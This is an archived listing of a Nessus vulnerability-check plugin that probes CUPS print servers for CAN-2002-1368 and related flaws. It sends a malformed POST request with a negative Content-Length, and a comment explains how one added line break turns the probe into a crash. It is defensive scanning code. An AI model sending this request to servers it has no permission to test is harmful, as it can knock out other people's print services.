home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / cups_vulns.nasl < prev    next >
Encoding:
Text File  |  2005-01-14  |  2.6 KB  |  96 lines
  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # GNU Public Licence
  5. #
  6.  
  7. #
  8. # This script checks for CAN-2002-1368, but incidentally covers
  9. # all the issues listed, as they were all corrected in the
  10. # same package
  11. #
  12.  
  13. if(description)
  14. {
  15.  script_id(11199);
  16.  script_bugtraq_id(6475);
  17.  script_version("$Revision: 1.5 $");
  18.  script_cve_id("CAN-2002-1383", "CAN-2002-1366", "CAN-2002-1367", 
  19.             "CAN-2002-1368", "CAN-2002-1384", "CAN-2002-1369",
  20.            "CAN-2002-1372");
  21.  if ( defined_func("script_xref") ) script_xref(name:"SuSE", value:"SUSE-SA:2003:002");
  22.  
  23.            
  24.            
  25.  
  26.  name["english"] = "Multiple vulnerabilities in CUPS";
  27.  script_name(english:name["english"]);
  28.  
  29.  desc["english"] = "
  30. The remote CUPS server seems vulnerable to various
  31. flaws which allow a remote attacker to shut down this
  32. server or even to remotely gain the privileges of the
  33. 'lp' user.
  34.  
  35. Solution : upgrade to CUPS-1.1.18
  36. Risk factor : High";
  37.  
  38.  script_description(english:desc["english"]);
  39.  
  40.  summary["english"] = "Crashes the remote CUPS server";
  41.  script_summary(english:summary["english"]);
  42.  
  43.  script_category(ACT_ATTACK);
  44.  
  45.  script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison",
  46.         francais:"Ce script est Copyright (C) 2003 Renaud Deraison");
  47.  family["english"] = "Gain a shell remotely";
  48.  family["francais"] = "Obtenir un shell α distance";
  49.  script_family(english:family["english"], francais:family["francais"]);
  50.  script_dependencie("find_service.nes", "httpver.nasl");
  51.  script_require_ports("Services/www",631);
  52.  script_require_keys("www/cups");
  53.  exit(0);
  54. }
  55.  
  56. #
  57.  
  58. include("http_func.inc");
  59. include("misc_func.inc");
  60.  
  61.  
  62. function check(port)
  63. {
  64.  #
  65.  # This attack is non-destructive.
  66.  # A non-patched cups will reply nothing to :
  67.  # POST /printers HTTP/1.1\r\nContent-length: -1\r\n\r\n" (and won't
  68.  # crash until we add another \r\n at the end of the request), 
  69.  # whereas a patched cups will immediately reply with a code 400
  70.  #
  71.  
  72.  if(http_is_dead(port:port))return(0);
  73.  banner = get_http_banner(port:port);
  74.  if(!banner)return(0); # we need to make sure this is CUPS
  75.  
  76.  if(egrep(pattern:"^Server: .*CUPS/.*", string:banner))
  77.  {
  78.  soc = http_open_socket(port);
  79.  if (! soc) return(0);
  80.  req = string("POST /printers HTTP/1.1\r\nHost: ", get_host_name(), "\r\nAuthorization: Basic AAA\r\nContent-Length: -1\r\n\r\n");
  81.  # Add a \r\n to the line above to make the remote server crash 
  82.  
  83.  send(socket:soc, data: req);
  84.  r = http_recv(socket: soc);
  85.  http_close_socket(soc);
  86.  if(!strlen(r))security_hole(port);    # The server dumbly waits for our data
  87.  }
  88. }
  89.  
  90. ports = add_port_in_list(list:get_kb_list("Services/www"), port:631);
  91.  
  92. foreach port (ports)
  93. {
  94.  check(port:port);
  95. }
  96.